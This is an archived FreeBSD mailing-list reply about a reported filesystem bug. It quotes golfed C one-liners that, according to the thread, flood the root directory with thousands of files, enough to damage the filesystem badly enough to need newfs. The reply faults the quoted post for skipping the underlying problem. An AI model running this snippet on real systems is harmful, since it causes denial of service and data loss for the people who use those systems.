Date: Mon, 18 Feb 2008 07:09:15 -0700 From: Scott Long <scottl@samsco.org> To: =?ISO-8859-1?Q?Dag-Erling_Sm=F8rgrav?= <des@des.no> Cc: freebsd-fs@freebsd.org, freebsd-security@freebsd.org, Jim Bryant <freebsd@electron-tube.net>, freebsd-stable@freebsd.org, FreeBSD-bugs@freebsd.org Subject: Re: How to take down a system to the point of requiring a newfs with one line of C (userland) Message-ID: <47B9918B.6010301@samsco.org> In-Reply-To: <863arq5q14.fsf@ds4.des.no> References: <47B90868.7000900@electron-tube.net> <86odae5rgr.fsf@ds4.des.no> <863arq5q14.fsf@ds4.des.no>
next in thread | previous in thread | raw e-mail | index | archive | help
Dag-Erling Smørgrav wrote: > Dag-Erling Smørgrav <des@des.no> writes: >> Purely in the interest of showing off, here is my version. It is 81 >> bytes shorter than yours, it is valid C99 with POSIX extensions (yours >> is not), and it produces 11,450 files in about 0.2% of the time yours >> takes to produce 10,000. >> >> #include <unistd.h> >> #define b(i,v) for(int v=48;v<127;++v){f[i]=v; >> #define a(i) b(i,v##i) >> int main(void){char f[5]={'/'};a(1)a(2)a(3)truncate(f,0);}}}} > > Two bugs: > > 1) I forgot to include the correct version of the code > > 2) the version I had created a few files with '/' in their names; this > slightly nastier creates 10,648 files with only letters. > > #include <unistd.h> > #define b(i,v)for(int v=65;v<87;){i[f]=v++; > #define a(i)b(i,v##i) > int main(void){char f[4]={47};a(1)a(2)a(3)truncate(f,0);}}}} > > DES This version also omits the constructive comments on the actual problem that the original poster identified. Scott
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?47B9918B.6010301>